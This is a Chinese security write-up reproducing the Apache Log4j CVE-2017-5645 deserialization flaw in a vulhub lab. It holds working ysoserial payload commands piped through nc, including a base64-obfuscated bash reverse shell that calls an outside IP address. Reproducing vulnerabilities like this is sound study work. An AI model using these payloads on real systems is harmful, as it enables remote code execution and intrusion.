本文作者:Taoing(Ms08067实验室 SRSP TEAM 核心成员)
Apache Log4j Server 反序列化命令执行漏洞(CVE‐2017‐5645)
一、漏洞原理
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之 前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
二、环境搭建 cd /vulhub/log4j/CVE‐2017‐5645
#进入环境目录
docker‐compose build && docker‐compose up ‐d
#一键启动漏洞环境
环境启动后,将在4712端口开启一个TCPServer。
除了使用vulhub的docker镜像搭建环境外,还下载了log4j的jar文件后可以直接在命令行启动这个
TCPServer:java ‐cp "log4j‐api‐2.8.1.jar:log4j‐core‐2.8.1.jar:jcommander‐1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer
无需使用vulhub和编写代码。
三、漏洞复现
payload
使用ysoserial生成payload,然后直接发送给your‐ip:4712端口即可。
java ‐jar ysoserial.jar CommonsCollections5 "touch /tmp/CVE‐2017‐5645_is_succe ss" | nc your‐ip 4712
执行docker‐compose exec log4j bash进容器
可见 /tmp/CVE‐2017‐5645_is_success已成功创建:
四、反弹shell 工具推荐: https://krober.biz/misc/reverse_shell.php
#在线生成反弹shell命令
http://www.jackson‐t.ca/runtime‐exec‐payloads.html
#命令编码工具
java ‐jar ysoserial.jar CommonsCollections5 "bash ‐c {echo,YmFzaCAtaSA+JiAvZGV 2L3RjcC84LjIxMC4yMzUuMjQ5Lzk5ODggMD4mMQ==}|{base64,‐d}|{bash,‐i}" | nc 8.210.1 52.234 4712
shell到手
参考文章: https://www.cnblogs.com/zaqzzz/p/12459999.htm
https://xz.aliyun.com/t/1909
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!